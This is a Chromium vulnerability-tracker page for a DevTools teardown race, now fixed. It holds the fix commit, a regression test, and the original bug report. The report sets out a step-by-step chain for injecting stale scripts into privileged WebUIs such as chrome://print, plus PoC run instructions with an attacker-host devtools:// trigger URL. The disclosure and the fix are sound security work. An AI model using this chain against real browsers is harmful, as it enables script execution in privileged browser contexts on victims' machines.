Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in DevTools
DescriptionInappropriate implementation in DevTools
ComponentDevTools
Bug ClassLogic Error
Tracker519472272
Fix commit89da2e763993 (chromium/src) +30/-0
CISA KEVNot listed
CreditedOrange Tsai (@orange_8361) of DEVCORE Research Team
Disclosed2026-07-29

Changed Functions

FunctionChangeNotes
if
chrome/browser/devtools/devtools_ui_bindings.cc
modified

Files Changed

  • chrome/browser/devtools/devtools_ui_bindings.cc
  • chrome/browser/devtools/devtools_ui_bindings.h
  • chrome/browser/devtools/devtools_ui_bindings_unittest.cc
From 89da2e763993d2088fa64e5b6e7c46094652da72 Mon Sep 17 00:00:00 2001
From: Alex Rudenko <[email protected]>
Date: Mon, 15 Jun 2026 00:24:47 -0700
Subject: [PATCH] Clear extensions_api_ when frontend_host_ is reset

Fixed: 519472272
Change-Id: I646f6a4749f6d489a58c3b1f08b8db3bc40e2b17
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7930250
Reviewed-by: Philip Pfaffe <[email protected]>
Commit-Queue: Alex Rudenko <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1646612}
---

diff --git a/chrome/browser/devtools/devtools_ui_bindings.cc b/chrome/browser/devtools/devtools_ui_bindings.cc
index dc24be8..61294815 100644
--- a/chrome/browser/devtools/devtools_ui_bindings.cc
+++ b/chrome/browser/devtools/devtools_ui_bindings.cc
@@ -3032,6 +3032,7 @@
       LOG(ERROR) << "Attempt to navigate to an invalid DevTools front-end URL: "
                  << navigation_handle->GetURL().spec();
       frontend_host_.reset();
+      extensions_api_.clear();
       return;
     }
     if (frontend_host_) {
@@ -3054,6 +3055,10 @@
     return;
   }
 
+  if (!frontend_host_) {
+    return;
+  }
+
   content::RenderFrameHost* frame = navigation_handle->GetRenderFrameHost();
   std::string origin =
       navigation_handle->GetURL().DeprecatedGetOriginAsURL().spec();
diff --git a/chrome/browser/devtools/devtools_ui_bindings.h b/chrome/browser/devtools/devtools_ui_bindings.h
index f3bb7326..977e1500 100644
--- a/chrome/browser/devtools/devtools_ui_bindings.h
+++ b/chrome/browser/devtools/devtools_ui_bindings.h
@@ -151,6 +151,13 @@
 
   void SetHttpServiceRegistryForTesting(
       std::unique_ptr<DevToolsHttpServiceRegistry> service_registry);
+  const std::map<std::string, std::string>& GetExtensionsAPIForTesting() const {
+    return extensions_api_;
+  }
+  void RegisterExtensionsAPIForTesting(const std::string& origin,
+                                       const std::string& script) {
+    RegisterExtensionsAPI(origin, script);
+  }
 
   static base::DictValue GetSyncInformationForProfile(Profile* profile);
 
diff --git a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc
index 7d83841d..d74869a 100644
--- a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc
+++ b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc
@@ -160,6 +160,24 @@
 }
 
 TEST_F(DevToolsUIBindingsLoadNetworkResourceTest,
+       ClearExtensionsAPIOnNavigatingAway) {
+  bindings()->RegisterExtensionsAPIForTesting("http://example.test", "script");
+  EXPECT_EQ(bindings()->GetExtensionsAPIForTesting().size(), 1u);
+
+  // Navigate to a valid DevTools URL first.
+  GURL devtools_url("devtools://devtools/bundled/devtools_app.html");
+  content::NavigationSimulator::NavigateAndCommitFromBrowser(web_contents(),
+                                                             devtools_url);
+  EXPECT_EQ(bindings()->GetExtensionsAPIForTesting().size(), 1u);
+
+  // Navigate away to a non-DevTools URL.
+  GURL print_url("https://example.test");
+  content::NavigationSimulator::NavigateAndCommitFromBrowser(web_contents(),
+                                                             print_url);
+  EXPECT_TRUE(bindings()->GetExtensionsAPIForTesting().empty());
+}
+
+TEST_F(DevToolsUIBindingsLoadNetworkResourceTest,
        BlocksFileSchemeFromUntrustedFrontends) {
   std::vector<GURL> untrusted_urls = {
       GURL("devtools://devtools/remote/serve_rev/@12345/inspector.html"),
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc
index 7d83841d..d74869a 100644
--- a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc
+++ b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc
@@ -160,6 +160,24 @@
 }
 
 TEST_F(DevToolsUIBindingsLoadNetworkResourceTest,
+       ClearExtensionsAPIOnNavigatingAway) {
+  bindings()->RegisterExtensionsAPIForTesting("http://example.test", "script");
+  EXPECT_EQ(bindings()->GetExtensionsAPIForTesting().size(), 1u);
+
+  // Navigate to a valid DevTools URL first.
+  GURL devtools_url("devtools://devtools/bundled/devtools_app.html");
+  content::NavigationSimulator::NavigateAndCommitFromBrowser(web_contents(),
+                                                             devtools_url);
+  EXPECT_EQ(bindings()->GetExtensionsAPIForTesting().size(), 1u);
+
+  // Navigate away to a non-DevTools URL.
+  GURL print_url("https://example.test");
+  content::NavigationSimulator::NavigateAndCommitFromBrowser(web_contents(),
+                                                             print_url);
+  EXPECT_TRUE(bindings()->GetExtensionsAPIForTesting().empty());
+}
+
+TEST_F(DevToolsUIBindingsLoadNetworkResourceTest,
        BlocksFileSchemeFromUntrustedFrontends) {
   std::vector<GURL> untrusted_urls = {
       GURL("devtools://devtools/remote/serve_rev/@12345/inspector.html"),
Loading diff…

Original Bug Report

reported by [email protected]

DevTools Observer Teardown Race Allows Stale Extension-Script Injection into Privileged WebUI Frames


Report description

DevTools Observer Teardown Race Allows Stale Extension-Script Injection into Privileged WebUI Frames


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://github.com/chromium/chromium


The problem

Please describe the technical details of the vulnerability

VULNERABILITY DETAILS

1. Entry point: arbitrary JavaScript in devtools://devtools

This report starts from the Issue-517394007 result: the attacker already has arbitrary JavaScript execution inside devtools://devtools and can access DevTools embedder surfaces such as InspectorFrontendHost / DevToolsHost.

From that position, Issue-517394007 already provides two important capabilities. First, registerExtensionsAPI / setInjectedScriptForOrigin can install main-world scripts into frameable http / https pages, resulting in UXSS over web origins that the DevTools frontend can embed. Second, the DevTools file-read primitive can be used to execute script in a file:// context and steal arbitrary local file contents.

The missing step is crossing into Chrome-owned privileged WebUIs. A DevTools page should not be able to simply navigate or frame chrome://print and execute script there.

2. Root cause: FrontendWebContentsObserver remains armed during DevTools teardown

The root cause is a lifecycle race in DevToolsUIBindings: the origin-keyed script registration and the observer that consumes it are not synchronously disabled when the primary DevTools frame starts committing a non-DevTools URL.

The observer forwards every navigation commit point in the DevTools WebContents to DevToolsUIBindings:

void DevToolsUIBindings::FrontendWebContentsObserver::ReadyToCommitNavigation(
    content::NavigationHandle* navigation_handle) {
  devtools_bindings_->ReadyToCommitNavigation(navigation_handle);
}

The DevTools frontend can register an injected script for an arbitrary origin:

void DevToolsUIBindings::RegisterExtensionsAPI(const std::string& origin,
                                               const std::string& script) {
  extensions_api_[origin + "/"] = script;
}

When the primary frame commits a non-DevTools URL, the primary-frame branch only resets frontend_host_ and returns:

if (navigation_handle->IsInPrimaryMainFrame()) {
  if (!IsValidFrontendURL(navigation_handle->GetURL())) {
    frontend_host_.reset();
    return;
  }
  // ...
  return;
}

However, it does not clear extensions_api_, and it does not immediately detach or disable FrontendWebContentsObserver. Until the old DevToolsUI / DevToolsUIBindings object is destroyed, the subframe branch can still run:

content::RenderFrameHost* frame = navigation_handle->GetRenderFrameHost();
std::string origin =
    navigation_handle->GetURL().DeprecatedGetOriginAsURL().spec();
auto it = extensions_api_.find(origin);
if (it == extensions_api_.end()) {
  return;
}
std::string script = base::StringPrintf(
    "%s(\"%s\")", it->second.c_str(),
    base::Uuid::GenerateRandomV4().AsLowercaseString().c_str());
content::DevToolsFrontendHost::SetupExtensionsAPI(frame, script);

There is no revalidation here that the primary frame is still the current valid DevTools frontend. Therefore, if a new top-level page creates a matching subframe before the old DevTools bindings finish teardown, that subframe can receive the stale DevTools-registered script.

The security boundary violation occurs in this teardown window: a subframe commit that races before the old DevToolsUIBindings is destroyed can still be treated as a DevTools-controlled subframe and receive the stale registered script. The exploit widens that window and creates the target WebUI subframe early enough for the stale observer to process it.

3. Exploit: crossing into frameable privileged WebUIs

The attached PoC uses the built-in PDF Viewer extension only as the exploitation route. It is not the root cause. The reason it is useful is that the DevTools frontend cannot directly create a chrome:// iframe. Instead, the PoC registers an injected script for the PDF Viewer extension origin, then uses that extension context to call chrome.tabs APIs and create the Chrome-owned embedding context needed to frame the target WebUI.

The high-level chain is:

  1. Issue-517394007 obtains JavaScript execution in devtools://devtools.
  2. The payload registers a stale injected script for the target privileged WebUI origin, such as chrome://print.
  3. The payload also registers an injected script for the built-in PDF Viewer extension origin.
  4. The DevTools frontend frames the PDF Viewer extension, causing the registered PDF extension script to run.
  5. From the PDF extension context, the payload uses chrome.tabs.update() to navigate the original DevTools tab to a chrome://resources document.
  6. During the DevTools teardown window, the PDF extension script uses chrome.tabs.executeScript() to run code in chrome://resources and create an iframe to another frameable Chrome-owned WebUI.
  7. The still-live DevTools observer sees the subframe commit, finds the stale registration in extensions_api_, and calls SetupExtensionsAPI() for the WebUI frame.

For the attached PoC, the framed WebUI is:

<iframe src="chrome://print"></iframe>

The same pattern applies to other privileged WebUIs that are frameable and do not deny framing via X-Frame-Options or frame-ancestors.

VERSION

Chrome Version: 149.0.7827.54 (Stable) Operating System: Windows 11

REPRODUCTION CASE

PoC is attached as poc-devtools-print-alert-poc.py. It runs a single listener/port: the same port serves the fake CDP WebSocket and a tiny transport page used by the DevTools XSS bootstrap.

  1. On the attacker host, start the PoC:

    python poc-devtools-print-alert-poc.py --ws-host <attacker_public_ip>
    

    By default, it listens on:

    0.0.0.0:9243  fake CDP WebSocket and bootstrap transport
    

    The script prints a trigger URL like:

    devtools://devtools/remote/serve_file/@4208825df40e9a2fe8cb1e91357062b86f8d2aea/inspector.html?ws=<attacker_public_ip>:9243&panel=elements
    
  2. On the victim host, open the printed devtools:// URL in Chrome 149.

  3. Expected result: the DevTools tab is navigated to a chrome://resources document, embeds a chrome://print/ iframe, and JavaScript executes inside the print frame.

CREDIT INFORMATION

Orange Tsai (@orange_8361) of DEVCORE Research Team

Impact analysis

SUMMARY

DevToolsUIBindings lets a DevTools frontend register origin-keyed injected scripts in extensions_api_. Those registrations are later consumed by DevToolsUIBindings::FrontendWebContentsObserver when a subframe commits a matching origin.

When the primary frame starts navigating away from devtools://devtools, DevToolsUIBindings::ReadyToCommitNavigation() resets frontend_host_, but it does not synchronously clear extensions_api_ or disarm the observer’s subframe-injection path. During the old DevTools WebUI teardown window, a subframe created by the new top-level page can still consume the stale registration and receive SetupExtensionsAPI().

This lets a devtools://devtools XSS escape the original DevTools-only context. Without this lifecycle bug, the DevTools injected-script primitive is limited to frameable http/https content that DevTools can normally embed. With the race, the stale DevTools registration can be consumed after the WebContents starts becoming a Chrome-owned page, leading to JavaScript execution in frameable privileged WebUIs. The attached PoC uses chrome://print as the demo target, but the target class is any frameable privileged WebUI without X-Frame-Options / frame-ancestors protection.

NOTE

This report is a follow-up chain for Issue-517394007. Issue-517394007 ends with arbitrary JavaScript execution inside the DevTools frontend and access to DevTools embedder surfaces such as InspectorFrontendHost / DevToolsHost.

The purpose of this report is to show the next impact expansion: the DevTools primitive can be chained into arbitrary JavaScript execution in frameable privileged WebUIs. The attached PoC uses chrome://print as a concrete demo target, but the security impact is crossing from DevTools-owned execution into Chrome-owned WebUI execution.


The cause

What version of Chrome have you found the security issue in?

149.0.7827.54 (Stable)

No, it is not related to a crash.

Choose the type of vulnerability

Cross-site scripting (XSS)

How would you like to be publicly acknowledged for your report?

Orange Tsai (@orange_8361) of DEVCORE Research Team

View on issue tracker